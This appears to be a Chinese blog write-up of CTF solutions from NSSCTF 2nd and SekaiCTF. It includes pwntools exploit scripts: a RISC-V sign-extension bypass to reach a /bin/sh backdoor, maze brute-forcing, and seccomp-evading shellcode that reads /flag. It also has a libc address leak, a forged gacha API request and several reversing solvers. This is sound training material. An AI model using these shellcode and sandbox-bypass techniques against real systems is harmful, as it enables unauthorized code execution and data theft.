2023-8下半月比赛wp

  • NSSCTF-2nd(pwn方向全部,re两道)
  • WMCTF(待补充)
  • SEKAICTF(re一道)
  • 也许还有……

NSSCTF-2023

比赛中解出2道re和1道pwn,算是正常发挥了

ls-pwn(finish):

  • NewBottleOldWine
  • xenny的诱惑
  • happy2

ls-re:

  • MyBase
  • Bytecode

Pwn-NewBottleOldWine

附件:newBottleOldWine

在做题之前:

文件是RISC-V架构的,临时学了一点risc-v的汇编:

做本题大概只需要知道如下几条:

  • l(Load)系,l开头的基本就是取值,比如li a5, a4 就是把a4的值取到a5那里

另外有个比较特殊的是lui,addi,这两个是对li的拓展,一般要传递一个数据(通常是地址)高20位用lui,低12位用addi

比如:要传递0x11451419给a5寄存器,就会使用

lui a5, 0x11451

addi a5, a5, 0x419

  • s(store)系,s开头基本表示存值,比如sw a5, -14h(s0),表示把a5寄存器的值写入s0偏移为-0x14的地址
  • j(jump)系,j开头基本就是跳转了,这里是无条件跳转

有条件的跳转常常是b开头,比如bgtz a5, label_1 就是把a5寄存的值和0比较,a5为正就会跳转到label_1,为负就继续往下执行;

bge a5, a4, label2,比较a5和a4,a5 >= a4 跳转到label2,反之继续执行

其他的诸如:mv,call,add,ret这些指令,都比较熟悉,功能也大差不差。

汇编码分析

进去先找找有没有后门:

backdoor

后门在0x1145162A的位置,可以看到这里用lui和addi传递了一个完整的字符串地址,然后call system,跟进去看这个字符串是/bin/sh

然后往上翻发现了两个主要函数:

一个具有栈溢出漏洞(所以把这个函数改名为了vuln)

vuln

另一个应该就是主程序

main前半段:

main_1

可以看到程序先读入了一个int64,并把值传进qword_11453058

然后在把qword_11453058的值传给a5寄存器,用sext.w指令把a5拓展

sext.w的作用是把32位拓展到64位,保留符号,比如-1,十六进制表示为0xffffffff, 拓展为64位就把高32位全部填充1(保证还是和32位符号一致),变成了0xffffffffffffffff; 如果是正数,就把高32位全部填充0;

这里把a5拓展后再和0比较,小于就会继续往下执行到exit,所以这里a5必须要大于0

然后如果大于0跳转后,重新从qword_11453058取值到a4寄存器,然后a5赋值为0x9F(159),然后a5, a4比较,如果a5<a4,也就是a4>=160就会继续往下执行到exit。

main后半段:

main_2

所以要保证> 0 && < 160 才可以跳转到这里,这段逻辑很简单,就是取了qword_11453058的低16位(sw,只取word,也就是2字节),再加上start的地址(就是基地址0x11451400),然后跳转到这个地址。

一开始的思路是先跳转到read那里栈溢出到backdoor

我们发现vuln离start最近,相差0xA0(160),刚好过不了验证。所以需要绕过检测,可以输入一个负数,保证低32位是正数即可。这样在第一步拓展时就是拓展为正数,绕过了第一个检测,然后第二个检测那里由于是负数(注意前面拓展时是把输入值取到了a5寄存器再对a5拓展,输入的值并没有变)自然可以绕过检测。

exp:

打完才想到可以直接从main跳转到后门那里,都不用栈溢出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'
io = remote('node6.anna.nssctf.cn', 28299)
# to_vuln_offset = -9223372036854775648
# 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 1010 0000
# 0x114514a0

to_sh_offset = -9223372036854775254
# 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0010 0010 1010
# 0x1145162a
io.recvuntil(b'have?')
io.sendline(str(to_vuln_offset))

#payload = b'a'*0x28 + p64(backdoor)
#io.recvuntil(b'bottle')
#io.sendline(payload)
io.interactive()

Pwn-xenny的诱惑

远程会发来一大段数据,拿去base64解出来一个ELF文件

文件:xenny_map

需要先走一段迷宫,然后orw

迷宫思路:

概况:

迷宫太大了,而且每个路口(姑且这么说,1000个函数当作1000个路口),都连通10个路口(对应输入的1-10),如果都不是就回到开始的main(步数,也就是文件里的tmp不会置零,也会+1),要保证刚好第1000步找到xenny。

我懒得分析如何走迷宫了,选择直接随机数爆破:),效果还不错

本地就先每次启动一个程序,然后设置seed,把走过的每一步都放在一个数组里(我叫做step_arr),然后先走到xenny那里(没到1000步,当然不在),然后一直发b'\n',就是一直回到main(发其他的也行,这个阶段就随便乱走,反正本地跑的快,不至于会alarm clock),最后留出来一定步数,再重新跑一遍step_arr(凑够1000次)

本地:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
sd = 1
step = 0
step_arr = []
#io.recvuntil(b"That's all\n")
while True:
# io = process(['seccomp-tools', 'dump', './map'])
io = process('./map')
random.seed(sd)
while b'xenny' not in io.recvline() and step < 500:
choice = random.randint(1, 10)
io.sendline(str(choice))
step += 1
step_arr.append(choice)
log.info('step: %d' % step)
if len(step_arr) == 500:
sd += 1
step = 0
step_arr = []
io.close()
continue
print('step_arr: ', step_arr)
print('seed:', sd)
break

len_step_arr = len(step_arr)
log.info('len_step_arr: %d' % len_step_arr)
print(step_arr)

for i in range(1000 - 2 * len_step_arr):
io.recvline()
io.sendline('')

for i in step_arr:
io.recvline()
io.sendline(str(i))

要注意的是:因为要跑2次step_arr,那么这个数组长度不能超过500,所以500后我就重启了程序,(重启记得初始化变量)

远程:

远程也差不多这样,不过考虑到有alarm(0x15),测试大概只能收发100多次,所以把临界值改成了150

while b'xenny' not in io.recvline() and step < 150:

if len(step_arr) == 150:

在探完路后(搞出来step_arr了),建议一直发非1-10的,触发default返回main,这样可以刷新alarm()

沙箱思路:

sandbox

可以看到禁了read,write,open,先试了一下直接execve,打不通,应该是执行execve过程中触发了沙箱的某个限制,这里考虑使用openat,readv,writev函数来拿到flag

1
int openat(int  dirfd , const char * pathname , int  flags , ... /* mode_t  mode */);

总结起来,如果pathname是绝对路径,则dirfd参数没用。如果pathname是相对路径,并且dirfd的值不是AT_FDCWD,则pathname的参照物是相对于dirfd指向的目录,而不是进程的当前工作目录;反之,如果dirfd的值是AT_FDCWDpathname则是相对于进程当前工作目录的相对路径,此时等同于open

1
2
3
4
5
6
7
8
// 功能:将数据从文件描述符读到分散的内存块中,即分散读
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
// 功能:将多块分散的内存数据一并写入文件描述符中,即集中写
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
struct iovec {
void *iov_base; /* 缓冲区首地址 */
size_t iov_len; /*缓冲区长度 */
};

readv()系统调用将从fd读入的数据按一定顺序散布到多个缓冲区,readv会先填满一个再填充下一个

writev()会按顺序,从各个缓冲区中聚集输出数据到fd

程序在0x10000到0x11000有wx权限,不妨直接写在这上面

1
2
3
4
5
6
payload = asm(shellcraft.openat(0, b"/flag", 0))
payload += asm(shellcraft.readv(3, 0x10100, 1))
payload += asm(shellcraft.writev(1, 0x10100, 1))
payload = payload.ljust(0x100, b'\x90')
payload += p64(0x10700) + p64(0x40) # readv和writev的iov都指向这里,这里起始地址和大小可以随意设置
payload += asm(shellcraft.exit(0))

readv和writev的第二个参数是结构体指针,这里指向0x10100,然后我们在0x10100的位置伪造一个结构体;第三个参数设置1是因为我们只需要一块缓冲区就够了。

完整exp(远程):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import random
#context.log_level = 'debug'
#io = remote('node5.anna.nssctf.cn', 28397)
context.arch = 'amd64'
#random.seed(0)
step = 0
step_arr = []
sd = 0
# payload提前放在这里是因为编译要时间,放在后门可能会alarm clock(问就是被迫多跑了一遍,远程真TM慢)
payload = asm(shellcraft.openat(0, b"/flag", 0)) # 建议写绝对地址,理由看上面openat那里
payload += asm(shellcraft.readv(3, 0x10100, 1))
payload += asm(shellcraft.writev(1, 0x10100, 1))
payload = payload.ljust(0x100, b'\x90')
payload += p64(0x10700) + p64(0x40)
payload += asm(shellcraft.exit(0))
# 发现每次连接迷宫都不一样,所以不能用本地跑出来的路线来跑,要重新探路
while True:
io = remote('node5.anna.nssctf.cn', 28821)
io.recvuntil(b"That's all\n")
random.seed(sd)
while b'xenny' not in io.recvline() and step < 150:
choice = random.randint(1, 10)
io.sendline(str(choice))
step += 1
step_arr.append(choice)
log.info('step: %d' % step)
if len(step_arr) == 150:
sd += 1
step = 0
step_arr = []
io.close()
continue
print('step_arr: ', step_arr)
print('seed:', sd)
break
context.log_level = 'debug'
for _ in range(1000 - 2 * len(step_arr)):
io.recvline()
io.sendline(b'')

for i in step_arr:
io.recvline()
io.sendline(str(i))

res = io.recvuntil(b"don't forget your flag\n")
context.log_level = 'debug'
io.sendline(payload)
io.interactive()

Pwn-happy2

附件:happy2

happy2_proof

要绕过最后的一个判断,显然是要通过前面的printf泄露puts的地址

可以利用scanf在读取非数字字符时,不会返回值的特性,这里输入’+’号,就可以泄露栈中的数据了,动调发现第二个数据是stderr的地址,所以泄露stderr地址,再根据stderr和puts的偏移算出puts地址

1
2
3
4
5
6
7
8
9
io.recvuntil(b'konw\n')
io.sendline(b'2')
io.sendline(b'+')
io.recv(1)
io.sendline(b'+')
stderr = int(io.recvuntil(b'you', drop=True))
exit_addr = stderr - 0x1997d0 # 这里只算了本机的偏移,远程应该不同
io.recvuntil(b'have a try\n')
io.sendline(str(exit_addr).encode())

然后main里的思路是orw

happy2_main

用seccomp-tools dump一下,ban了execve,fork,connect,read(据说附件给错了,原本要ban的是readv),所以这里就用open,pread,write来拿到flag(思路和上一题差不多,不细讲了)

1
2
3
4
5
6
7
context.arch = 'amd64'
payload = asm(shellcraft.open('flag'))
payload += asm(shellcraft.pread(3, 0x10100, 0x30, 0))
payload += asm(shellcraft.write(1, 0x10100, 0x30))
payload = payload.ljust(0x100, b'\x90')
payload += p64(0x10400)
io.sendline(payload)

Re-MyBase

附件:myBase.exe

思路:

换表base64,发现每次base加密都利用随机数重新生成了一个新表,这里可以直接复刻代码逻辑用ctype来复原用过的表。

我这里是直接动调把表扒下来

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
CLASSIC_TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='

def b64decode(enc: str|bytes, key: str|bytes = CLASSIC_TABLE) -> bytes:
if isinstance(enc, str):
enc = enc.encode()
if isinstance(key, str):
key = key.encode()
if len(key) == 65:
padding = key[-1]
elif len(key) == 64:
padding = (set(CLASSIC_TABLE) - set(key)).pop()
key += bytes([padding])
else:
raise ValueError("Invalid key length")
msg = []
l = len(enc)
if l % 4 != 0:
raise ValueError("Invalid base64code length")
for i in range(0, l, 4):
buf = key.index(enc[i]) << 18 | key.index(enc[i+1]) << 12 | key.index(enc[i+2]) << 6 | key.index(enc[i+3])
msg.append(buf >> 16)
msg.append((buf >> 8) & 0xff)
msg.append(buf & 0xff)
if enc[-1] == padding:
msg.pop()
if enc[-2] == padding:
msg.pop()
return bytes(msg)

enc = b'YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g'
key = [
'+86420ywusqomkigecaYWUSQOMKIGECABDFHJLNPRTVXZbdfhjlnprtvxz13579/',
'YsVO0tvT2o4puZ38j1dwf7MArGPNeQLDRHUK+SChbFanmklWEcgixXJIq6y5B/9z=',
'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=',
'YvHeOZECmTyg0Mw2i7PIGKblsfF59rzUk6p3hVdW1qaQ+xRANnXLj48BcJDotS/u=',
'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=',
'YvHeOZECmTyg0Mw2i7PIGKblsfF59rzUk6p3hVdW1qaQ+xRANnXLj48BcJDotS/u=',
'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=',
'YvHeOZECmTyg0Mw2i7PIGKblsfF59rzUk6p3hVdW1qaQ+xRANnXLj48BcJDotS/u=',
'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=',
]
flag = b''
i = 0
for k in key:
# 没有细看文件中的base64encode代码,在动调过程中发现加密生成的字符串顺序是反的,所以这里反过来再传参
flag += b64decode(enc[i*4:i*4+4][::-1], k)
i += 1
print(flag)
# NSSCTF{Welc0me_T0_Re_World}

Re-Bytecode

附件:Bytecode.txt

字节码,直接手搓!!!

复原代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from base64 import *
import string


def check(key):
x = [78, 82, 81, 64, 80, 67, 125, 83, 96, 56, 121, 84, 61, 126, 81, 79, 79, 119, 38, 120, 39, 74, 112, 38, 44, 126, 103]
if len(key) != len(x):
print('wrong length!')
exit(0)
for i in range(len(key)):
if ord(key[i]) ^ i != x[i]:
return 0
return 1

def init(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[j], s_box[i] = s_box[i], s_box[j]
return s_box

def fun(msg):
key = "Just kidding, don't take it personally!"
x = []
for i in range(len(msg)):
x.append(ord(msg[i]) ^ ord(key[i % len(key)]))
for i in range(len(x)):
x[i] = (x[i] ^ i) >> 3
return x

def encrypt1(msg, s_box):
x = []
i = 0
j = 0
for k in range(len(msg)):
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
t = (s_box[i] + s_box[j]) % 256
x.append(msg[k] ^ s_box[t])
return x

def encrypt2(msg, s_box, key):
x = []
i = 0
j = 0
for k in range(len(msg)):
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
t = (s_box[i] + s_box[j]) % 256
x.append(ord(msg[k]) ^ s_box[t] ^ ord(key[i]))
return x

def encrypt(msg, s_box):
x = []
i = 0
j = 0
for k in range(len(msg)):
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
t = (s_box[i] + s_box[j]) % 256
x.append(msg[k] ^ s_box[t] ^ i)
return x

if __name__ == '__main__':
key = input("Please input your key:")
if check(key) == 1:
print("right!")
else:
print("wrong!")
exit(0)
msg = input("Please input your msg:")
box = init(key)
encode = encrypt(msg, box)
string1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL'
encode = b64encode(bytes(encode)).decode().translate(str.maketrans(string1, string2))
if encode == 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB=':
print('Congraduation!You get the right flag!')
else:
print('wrong')

发现为了混淆写了几个没有用上的函数,这里只用到了check,init,enctypt这三个函数

显然是一个RC4加密(变种,但是思路还是一样,加解密一样)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from base64 import *

def rc4(key, msg):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[j], s_box[i] = s_box[i], s_box[j]
i = 0
j = 0
x = []
for k in range(len(msg)):
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
t = (s_box[i] + s_box[j]) % 256
x.append(msg[k] ^ s_box[t] ^ i)
return x
string1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL'
enc = 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB='
enc = b64decode(enc.translate(str.maketrans(string2, string1)))
x = [78, 82, 81, 64, 80, 67, 125, 83, 96, 56, 121, 84, 61, 126, 81, 79, 79, 119, 38, 120, 39, 74, 112, 38, 44, 126, 103]
key = []
for i in range(len(x)):
key.append(chr(x[i] ^ i))
print(''.join(key))

flag = rc4(key, enc)
print(bytes(flag))
# NSSCTF{eda20db6-3cff-6125-f6ca-1a155bd3292c}

SekaiCTF

只看了一道re,打nss去了

  • re-Asusawa’a Gacha World(finish)

Re-Asusawa’a Gacha World

u3d逆向,先找Assembly CSharp.dll用dotpeek打开

在character里面找到flag,查看引用发现4星卡会有flag

4star

然后继续找引用,发现抽卡不在本地,每次抽卡是要发送post请求,

所以思路就是伪造抽卡请求,然后抽到4星卡,获得flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url = 'http://172.86.64.89:3000/gacha'
headers = {
'Content-Type': 'application/json',
'User-Agent': 'SekaiCTF',
}

json = {
'crystals': 100,
'numPulls': 1,
'pulls': 999999,
}

s = requests.Session()
r = s.post(url, headers=headers, json=json)
res = r.json()
print(res)

拿到一段base64,解码得到flag图片

flag

Welcome to my other publishing channels